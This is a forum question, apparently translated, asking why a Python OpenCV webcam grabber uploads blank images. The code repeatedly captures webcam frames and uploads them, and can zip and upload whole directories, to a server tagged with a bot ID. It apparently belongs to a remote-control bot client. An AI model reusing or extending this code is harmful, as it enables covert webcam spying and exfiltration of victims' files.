好吧,我正试图用OpenCV创建一个网络摄像头捕获器,然后将当前图像发送到我的服务器。从我所知道的是,它创造了什么,但是当我运行我的上传命令时,它会发送某种空白图片。如果我在程序终止后去查看最新的图片,那么它就是好的。这是我的代码,非常感谢任何帮助。
import os
import time
import threading
import cv2
from PIL import Image
import upload
import utils
streaming = False
def update_webcam():
global streaming
if streaming:
threading.Timer(5.0, update_webcam).start()
camera = cv2.VideoCapture(0)
time.sleep(0.1)
filepath = os.path.join(os.environ['temp'], "webcam.jpg")
return_value, image = camera.read()
cv2.imwrite(filepath, image)
del (camera)
upload.run(filepath)
def run(action):
global streaming
if action == "capture":
update_webcam()
if action == "start":
streaming = True
update_webcam()
if action == "stop":
streaming = False
上传文件:
import requests
import os
import shutil
import utils
import settings
def run(path):
filename = os.path.basename(path)
if os.path.isdir(path):
arch_path = shutil.make_archive(filename, 'zip', path)
requests.post(settings.SERVER_URL + "/api/upload", {'botid': settings.BOT_ID, 'src': os.path.basename(arch_path)}, files={'uploaded': open(arch_path, 'rb')})
os.remove(arch_path)
else:
requests.post(settings.SERVER_URL + "/api/upload", {'botid': settings.BOT_ID, 'src': filename}, files={'uploaded': open(path, 'rb')})